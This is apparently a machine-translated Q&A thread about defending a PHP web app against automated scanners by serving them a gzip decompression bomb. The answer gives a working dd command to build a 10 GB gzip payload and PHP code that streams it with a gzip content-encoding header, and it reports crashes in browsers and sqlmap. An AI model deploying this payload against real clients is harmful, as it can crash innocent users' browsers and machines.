PHP - 是否可以在 PHP 中为恶意软件扫描程序实施 gzip 炸弹

PHP - Is it possible to implement a gzip bomb in PHP for malware scanners

我目前正在开发一个 PHP class 作为 sort-of-IDS 的 webapps,它可以检测暴力和 SQLi 攻击,我开始意识到的一件事是大多数攻击都在我的系统上正在通过未配置的恶意软件扫描程序(如 nikto 或 sqlmap)完成。让我们暂时忽略这应该由服务器而不是网络应用程序完成。

因为它们都是为了分析来自网络服务器的答案而构建的,所以我认为可以用 ZIP bomb.

来轰炸它们

我的想法是我的 PHP 脚本发送一个 gzip header,其中包含客户端将解压缩的小(压缩)gzip 数据 - 导致它耗尽内存。

任何人都可以告诉我一些关于如何实现该目标的指示,或者 gzip 是否仅由网络服务器完成并且不能通过 PHP

完成

我在 Github 上找到了一个现成的解决方案。

它叫做 GzipBloat,它完全符合我的要求。

首先生成一个 10GB 的 gzip 文件(第一次压缩后为 10MB),其中填充了来自 /dev/zero

的输入
dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip

然后在 PHP 中设置内容编码并将 gzip 文件发送到客户端。

header("Content-Encoding: gzip");
header("Content-Length: ".filesize('10G.gzip'));

//Turn off output buffering
if (ob_get_level()) ob_end_clean();

readfile('10G.gzip');

结果 (Win10):

  • IE11:内存上升,然后IE崩溃
  • Chrome 52:内存上升,报错
  • 边缘 38:内存上升,然后下降并且没有任何显示(似乎永远加载)
  • Nikto:以正常速度扫描,没有内存问题
  • SQLmap:高内存然后崩溃